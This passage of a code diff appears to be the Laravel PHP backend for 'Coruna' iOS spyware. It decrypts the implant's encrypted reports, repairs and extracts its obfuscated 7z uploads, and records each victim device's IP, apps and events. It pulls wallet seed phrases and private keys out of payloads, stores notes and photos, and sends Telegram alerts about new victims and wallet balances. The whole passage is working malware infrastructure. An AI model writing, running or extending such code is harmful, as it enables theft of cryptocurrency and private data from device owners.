{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'event_name', 'desc', 'context_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'context_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Note extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'title', 'body', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['meta_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['counters_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
// use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Database\Factories\UserFactory;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
use Illuminate\Notifications\Notifiable;
|
||||
|
||||
class User extends Authenticatable
|
||||
{
|
||||
/** @use HasFactory<UserFactory> */
|
||||
use HasFactory, Notifiable;
|
||||
|
||||
/**
|
||||
* The attributes that are mass assignable.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be hidden for serialization.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $hidden = [
|
||||
'password',
|
||||
'remember_token',
|
||||
];
|
||||
|
||||
/**
|
||||
* Get the attributes that should be cast.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'email_verified_at' => 'datetime',
|
||||
'password' => 'hashed',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class Wallet extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['raw_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
|
||||
public function setMnemonicAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getMnemonicAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['mnemonic_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['mnemonic_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public function setPrivkeyAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['privkey_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getPrivkeyAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['privkey_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['privkey_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static function maskSecret(?string $value): string
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
return '—';
|
||||
}
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
if (count($words) >= 12) {
|
||||
return $words[0].' *** '.$words[count($words) - 1];
|
||||
}
|
||||
$len = strlen($value);
|
||||
if ($len <= 8) {
|
||||
return str_repeat('*', $len);
|
||||
}
|
||||
|
||||
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'wallet_id', 'address', 'chain', 'balance',
|
||||
'symbol', 'telegram_notified', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function wallet(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Wallet::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class AppServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(CorunaCrypto::class, function () {
|
||||
$override = config('coruna.session_key');
|
||||
|
||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||
});
|
||||
|
||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||
return new CorunaArchive(
|
||||
$app->make(CorunaCrypto::class),
|
||||
(string) config('coruna.seven_zip', '/opt/homebrew/opt/p7zip/bin/7z'),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Repair Coruna obfuscated 7z headers and extract with p7zip.
|
||||
*/
|
||||
class CorunaArchive
|
||||
{
|
||||
private const STANDARD_PREFIX = "7z\xBC\xAF'\x1C";
|
||||
|
||||
private const HEADER_XOR = 0x1234567800ABCDEF;
|
||||
|
||||
private const HEADER_MARKER_1 = 0x000A000900010804;
|
||||
|
||||
private const HEADER_MARKER_2 = 0x009812000B0F0D0C;
|
||||
|
||||
public function __construct(
|
||||
private readonly CorunaCrypto $crypto,
|
||||
private readonly string $sevenZip = '/opt/homebrew/opt/p7zip/bin/7z',
|
||||
) {}
|
||||
|
||||
public function isCorunaHeader(string $data): bool
|
||||
{
|
||||
if (strlen($data) < 32) {
|
||||
return false;
|
||||
}
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return false;
|
||||
}
|
||||
$m1 = unpack('P', substr($data, 16, 8))[1];
|
||||
$m2 = unpack('P', substr($data, 24, 8))[1];
|
||||
|
||||
return $m1 === self::HEADER_MARKER_1 && $m2 === self::HEADER_MARKER_2;
|
||||
}
|
||||
|
||||
public function repairHeader(string $data): string
|
||||
{
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return $data;
|
||||
}
|
||||
if (strlen($data) < 33 || ! $this->isCorunaHeader($data)) {
|
||||
throw new RuntimeException('not a Coruna header-obfuscated 7z archive');
|
||||
}
|
||||
|
||||
$nextHeaderOffset = unpack('P', substr($data, 0, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderSize = unpack('P', substr($data, 8, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderStart = 32 + $nextHeaderOffset;
|
||||
$nextHeaderEnd = $nextHeaderStart + $nextHeaderSize;
|
||||
if ($nextHeaderSize === 0 || $nextHeaderEnd > strlen($data)) {
|
||||
throw new RuntimeException('invalid Coruna 7z bounds');
|
||||
}
|
||||
|
||||
$repaired = $data;
|
||||
$repaired = substr_replace($repaired, self::STANDARD_PREFIX."\x00\x04", 0, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderOffset), 12, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderSize), 20, 8);
|
||||
$nextCrc = crc32(substr($repaired, $nextHeaderStart, $nextHeaderSize)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $nextCrc), 28, 4);
|
||||
$startCrc = crc32(substr($repaired, 12, 20)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $startCrc), 8, 4);
|
||||
|
||||
return $repaired;
|
||||
}
|
||||
|
||||
public function extract(string $wireData, string $destDir, string $batchBase = '0'): array
|
||||
{
|
||||
if (! is_dir($destDir)) {
|
||||
mkdir($destDir, 0755, true);
|
||||
}
|
||||
|
||||
try {
|
||||
$repaired = $this->repairHeader($wireData);
|
||||
} catch (\Throwable $e) {
|
||||
$repaired = $wireData;
|
||||
}
|
||||
|
||||
$archive = $destDir.'/capture.7z';
|
||||
file_put_contents($archive, $repaired);
|
||||
file_put_contents($destDir.'/wire.bin', $wireData);
|
||||
$password = $this->crypto->archivePassword($batchBase);
|
||||
$membersDir = $destDir.'/members';
|
||||
@mkdir($membersDir, 0755, true);
|
||||
|
||||
$bin = is_executable($this->sevenZip) ? $this->sevenZip : '7z';
|
||||
$result = Process::timeout(120)->run([
|
||||
$bin, 'x', '-y',
|
||||
'-p'.$password,
|
||||
'-o'.$membersDir,
|
||||
$archive,
|
||||
]);
|
||||
|
||||
$files = [];
|
||||
if (is_dir($membersDir)) {
|
||||
$it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator(
|
||||
$membersDir,
|
||||
\FilesystemIterator::SKIP_DOTS
|
||||
));
|
||||
foreach ($it as $file) {
|
||||
if ($file->isFile()) {
|
||||
$files[] = $file->getPathname();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'ok' => $result->successful() && count($files) > 0,
|
||||
'stderr' => $result->errorOutput(),
|
||||
'files' => $files,
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Coruna reporting transport crypto (ParamsModel / TTNetwork).
|
||||
*
|
||||
* body = Base64(AES-256-ECB-PKCS7(SHA256(session_key||timestamp), timestamp||payload))
|
||||
*/
|
||||
class CorunaCrypto
|
||||
{
|
||||
private const KEY_STATE_HEX =
|
||||
'f2e61e583b65753af05b8f6ec65a681fcc6f93d20cca9153ed13133c6c291565';
|
||||
|
||||
private const AES_SBOX_HEX =
|
||||
'637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0'
|
||||
.'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275'
|
||||
.'09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf'
|
||||
.'d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2'
|
||||
.'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb'
|
||||
.'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08'
|
||||
.'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e'
|
||||
.'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16';
|
||||
|
||||
private string $sessionKey;
|
||||
|
||||
private string $sbox;
|
||||
|
||||
public function __construct(?string $sessionKey = null)
|
||||
{
|
||||
$this->sbox = hex2bin(self::AES_SBOX_HEX);
|
||||
$this->sessionKey = $sessionKey ?? $this->deriveSessionKey(0);
|
||||
if (strlen($this->sessionKey) !== 16) {
|
||||
throw new RuntimeException('session key must be 16 bytes');
|
||||
}
|
||||
}
|
||||
|
||||
public function sessionKey(): string
|
||||
{
|
||||
return $this->sessionKey;
|
||||
}
|
||||
|
||||
public function deriveArchivePassword(int $seed = 0): string
|
||||
{
|
||||
$mask = 0xFFFFFFFF;
|
||||
$state = hex2bin(self::KEY_STATE_HEX);
|
||||
$words = array_values(unpack('V8', $state));
|
||||
|
||||
if ($seed !== 0) {
|
||||
$counter = -35;
|
||||
$accumulator = $seed & $mask;
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$rotated = $this->ror32($seed, -38 - $counter);
|
||||
$words[$index] = ($accumulator + ($words[$index] ^ $rotated)) & $mask;
|
||||
if ($counter === 0) {
|
||||
break;
|
||||
}
|
||||
$counter += 5;
|
||||
$accumulator = ($accumulator + $seed) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
for ($roundIndex = 0; $roundIndex < 12; $roundIndex++) {
|
||||
$roundNumber = $roundIndex + 1;
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16 — uint64 via BCMath
|
||||
$roundValue = $this->mulU64Shift16($roundNumber);
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$value = $words[$index];
|
||||
$value =
|
||||
ord($this->sbox[$value & 0xFF])
|
||||
| (ord($this->sbox[($value >> 8) & 0xFF]) << 8)
|
||||
| (ord($this->sbox[($value >> 16) & 0xFF]) << 16)
|
||||
| (ord($this->sbox[($value >> 24) & 0xFF]) << 24);
|
||||
$value = $this->ror32($value, -$words[($index + 1) & 7]);
|
||||
$value ^= $this->ror32($words[($index + 3) & 7], 13);
|
||||
$value = ($value + $roundValue) & $mask;
|
||||
$words[$index] = $value;
|
||||
if ($index & 1) {
|
||||
$words[$index] = (
|
||||
$this->ror32($words[$index - 1], -($value & 0xF)) ^ $value
|
||||
) & $mask;
|
||||
}
|
||||
}
|
||||
if ($roundIndex === 5) {
|
||||
$words[2] ^= 0x7BD6C6C8;
|
||||
$words[5] ^= 0x5ECAF26A;
|
||||
} elseif ($roundIndex === 9) {
|
||||
$previousZero = $words[0];
|
||||
$words[0] = ($words[7] ^ $this->ror32($previousZero, 25)) & $mask;
|
||||
$words[3] = ($words[3] + ($words[4] ^ 0xDEADBEEF)) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
$packed = pack('V8', ...$words);
|
||||
$folded = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$folded .= chr(ord($packed[$i]) ^ ord($packed[$i + 16]));
|
||||
}
|
||||
$derived = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$derived .= $this->sbox[(ord($folded[$i]) + $i) & 0xFF];
|
||||
}
|
||||
|
||||
return bin2hex($derived);
|
||||
}
|
||||
|
||||
public function deriveSessionKey(int $seed = 0): string
|
||||
{
|
||||
$raw = hex2bin($this->deriveArchivePassword($seed));
|
||||
$out = '';
|
||||
for ($i = 0; $i < strlen($raw); $i++) {
|
||||
$out .= chr((ord($raw[$i]) % 94) + 33);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function decryptJsonBody(string $ciphertext, string $timestamp): mixed
|
||||
{
|
||||
$this->assertTimestamp($timestamp);
|
||||
$encrypted = base64_decode($ciphertext, true);
|
||||
if ($encrypted === false) {
|
||||
$decoded = json_decode($ciphertext, true);
|
||||
if (is_string($decoded)) {
|
||||
$encrypted = base64_decode($decoded, true);
|
||||
}
|
||||
}
|
||||
if ($encrypted === false || $encrypted === '') {
|
||||
throw new RuntimeException('invalid base64 body');
|
||||
}
|
||||
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$padded = openssl_decrypt($encrypted, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($padded === false) {
|
||||
throw new RuntimeException('AES decrypt failed');
|
||||
}
|
||||
$plaintext = $this->pkcs7Unpad($padded);
|
||||
$prefix = $timestamp;
|
||||
if (! str_starts_with($plaintext, $prefix)) {
|
||||
throw new RuntimeException('timestamp prefix mismatch');
|
||||
}
|
||||
$json = substr($plaintext, strlen($prefix));
|
||||
if ($json === 'null') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
|
||||
}
|
||||
|
||||
public function encryptPayload(string $payload, ?string $timestamp = null): array
|
||||
{
|
||||
$timestamp ??= (string) (int) round(microtime(true) * 1000);
|
||||
$this->assertTimestamp($timestamp);
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$plain = $timestamp.$payload;
|
||||
$padded = $this->pkcs7Pad($plain);
|
||||
$encrypted = openssl_encrypt($padded, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($encrypted === false) {
|
||||
throw new RuntimeException('AES encrypt failed');
|
||||
}
|
||||
|
||||
return [
|
||||
'timestamp' => $timestamp,
|
||||
'body' => base64_encode($encrypted),
|
||||
];
|
||||
}
|
||||
|
||||
public function encryptJson(mixed $data, ?string $timestamp = null): array
|
||||
{
|
||||
if ($data === null) {
|
||||
$payload = 'null';
|
||||
} else {
|
||||
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return $this->encryptPayload($payload, $timestamp);
|
||||
}
|
||||
|
||||
public function archivePassword(string $batchBaseTimestamp = '0'): string
|
||||
{
|
||||
return $this->sessionKey.$batchBaseTimestamp;
|
||||
}
|
||||
|
||||
private function assertTimestamp(string $timestamp): void
|
||||
{
|
||||
if (! preg_match('/^\d{13}$/', $timestamp)) {
|
||||
throw new RuntimeException('timestamp must be 13 digits');
|
||||
}
|
||||
}
|
||||
|
||||
private function pkcs7Pad(string $data): string
|
||||
{
|
||||
$pad = 16 - (strlen($data) % 16);
|
||||
|
||||
return $data.str_repeat(chr($pad), $pad);
|
||||
}
|
||||
|
||||
private function pkcs7Unpad(string $data): string
|
||||
{
|
||||
$len = strlen($data);
|
||||
if ($len === 0 || ($len % 16) !== 0) {
|
||||
throw new RuntimeException('invalid ciphertext length');
|
||||
}
|
||||
$pad = ord($data[$len - 1]);
|
||||
if ($pad < 1 || $pad > 16 || substr($data, -$pad) !== str_repeat(chr($pad), $pad)) {
|
||||
throw new RuntimeException('invalid PKCS#7 padding');
|
||||
}
|
||||
|
||||
return substr($data, 0, -$pad);
|
||||
}
|
||||
|
||||
private function mulU64Shift16(int $roundNumber): int
|
||||
{
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16
|
||||
$product = gmp_mul((string) $roundNumber, '0xAC534878DC48202A');
|
||||
$masked = gmp_and($product, '0xFFFFFFFFFFFFFFFF');
|
||||
$shifted = gmp_div_q($masked, 65536);
|
||||
|
||||
return (int) gmp_intval($shifted);
|
||||
}
|
||||
|
||||
private function ror32(int $value, int $amount): int
|
||||
{
|
||||
$value &= 0xFFFFFFFF;
|
||||
$amount &= 31;
|
||||
if ($amount === 0) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return (($value >> $amount) | (($value << (32 - $amount)) & 0xFFFFFFFF)) & 0xFFFFFFFF;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,356 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['d', 'f'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return substr($payload[$key], 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
$attrs = [
|
||||
'ip' => $request->ip(),
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
/**
|
||||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||||
*/
|
||||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||||
*/
|
||||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||||
if ($eventName === null && $desc === null) {
|
||||
return;
|
||||
}
|
||||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||||
$contextJson = null;
|
||||
if (is_array($ctx)) {
|
||||
$contextJson = $ctx;
|
||||
} elseif ($ctx !== null) {
|
||||
$contextJson = ['value' => $ctx];
|
||||
}
|
||||
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'event_name' => is_string($eventName) ? $eventName : null,
|
||||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||||
'context_json' => $contextJson,
|
||||
]);
|
||||
}
|
||||
|
||||
public function ingestWalletSecrets(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$mnemonic = null;
|
||||
$priv = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
|
||||
$mnemonic = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$priv = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($mnemonic === null && $priv === null) {
|
||||
if (isset($payload['result']) || isset($payload['data'])) {
|
||||
Wallet::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$wallet = new Wallet([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
$wallet->mnemonic = $mnemonic;
|
||||
$wallet->privkey = $priv;
|
||||
$wallet->save();
|
||||
}
|
||||
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
} else {
|
||||
$rows = $this->normalizeAddressRows($payload);
|
||||
}
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! $address || ! is_string($address)) {
|
||||
continue;
|
||||
}
|
||||
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
|
||||
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
|
||||
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('chain', $chain)
|
||||
->first();
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
|
||||
[
|
||||
'balance' => $balance,
|
||||
'symbol' => $symbol,
|
||||
'meta_json' => $row,
|
||||
]
|
||||
);
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
$addr->telegram_notified = true;
|
||||
$addr->save();
|
||||
} elseif ($balance !== null && $existing->balance !== $balance) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
|
||||
if (! is_array($notes)) {
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => 'raw',
|
||||
'body' => null,
|
||||
'meta_json' => $payload,
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
$list = array_is_list($notes) ? $notes : [$notes];
|
||||
foreach ($list as $note) {
|
||||
if (! is_array($note)) {
|
||||
continue;
|
||||
}
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => $note['title'] ?? $note['name'] ?? null,
|
||||
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
|
||||
'meta_json' => $note,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
|
||||
{
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
